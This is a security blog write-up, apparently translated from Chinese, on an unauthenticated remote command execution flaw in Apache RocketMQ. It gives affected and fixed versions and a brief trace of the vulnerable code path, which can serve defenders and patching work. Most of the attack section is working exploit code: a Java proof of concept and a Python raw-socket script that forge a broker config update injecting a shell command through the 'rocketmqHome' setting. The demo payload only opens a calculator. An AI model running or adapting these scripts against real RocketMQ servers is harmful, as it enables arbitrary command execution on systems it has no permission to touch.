Vulnerability Profile
For RocketMQ 5.1.0 and below, under certain conditions, there is a risk of remote command execution. RocketMQ's NameServer, Broker, Controller and other components were leaked from the external network, and lacked permission verification. Attackers can use this vulnerability to use the update configuration function to execute commands as the system user running RocketMQ. In addition, attackers can achieve the same effect by forging the content of the RocketMQ protocol.
Affected version
5.0.0 <= Apache RocketMQ < 5.1.1
4.0.0 <= Apache RocketMQ < 4.9.6
security version
Apache RocketMQ 5.1.1
Apache RocketMQ 4.9.6
Vulnerability recurrence
Create a maven project locally and add dependencies
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools -->
<dependency>
<groupId>org.apache.rocketmq</groupId>
<artifactId>rocketmq-tools</artifactId>
<version>5.1.0</version>
</dependency>
</dependencies>
Write Exploit Code
import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;
import java.util.Properties;
public class poc1 {
public static void main(String[] args) throws Exception {
// 创建 Properties 对象
Properties props = new Properties();
//修改rocketmqHome配置
props.setProperty("rocketmqHome","-c gnome-calculator test");
props.setProperty("filterServerNums","1");
// 创建 DefaultMQAdminExt 对象并启动
DefaultMQAdminExt admin = new DefaultMQAdminExt();
//此处为 namesrv 端口,此端口无需可访问
admin.setNamesrvAddr("192.168.222.130:9876");
admin.start();
// 更新配置⽂件
//此处为 broker 端口,必须可访问
admin.updateBrokerConfig("192.168.222.130:10911", props);
// 关闭 DefaultMQAdminExt 对象
admin.shutdown();
}
}
Vulnerability Analysis
We see that the really dangerous operation should be the operation of communicating with 10911, without authentication and encrypted transmission, and at the same time bringing in the parameters of command execution
org/apache/rocketmq/remoting/protocol/RequestCode.java
code represents calls to different functions
org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#processRequest
org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#updateBrokerConfig
org/apache/rocketmq/remoting/Configuration.java#update
If the attribute name is its built-in, update operation
The latter part is clearer
org/apache/rocketmq/broker/BrokerStartup.java#start
org/apache/rocketmq/broker/BrokerController.java#start
org/apache/rocketmq/broker/BrokerController.java#startBasicService
org/apache/rocketmq/broker/filtersrv/FilterServerManager.java#start
import socket
import binascii
client = socket.socket()
# you ip
client.connect(('192.168.222.130',10911))
# data
json='{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='filterServerNums=1\nrocketmqHome=-c gnome-calculator test'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2) # 一个字节是2个十六进制数
head1 = '00000000'+str(hex(json_lens))[2:] # hex(xxxx) 0x1243434 去掉 0x
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens) # 总长度要 加上 head1[-8:] 的值
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8') # 协议总长度+json长度+json+body
# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)
Bug fixes
Modules for command execution are removed
Call for original manuscripts
Call for original technical articles, welcome to post
Submission email: [email protected]
Article type: hacker geek technology, information security hotspots, security research and analysis, etc.
If you pass the review and publish it, you can get a remuneration ranging from 200-800 yuan.
For more details, click me to view!
Shooting range practice, click "Read the original text"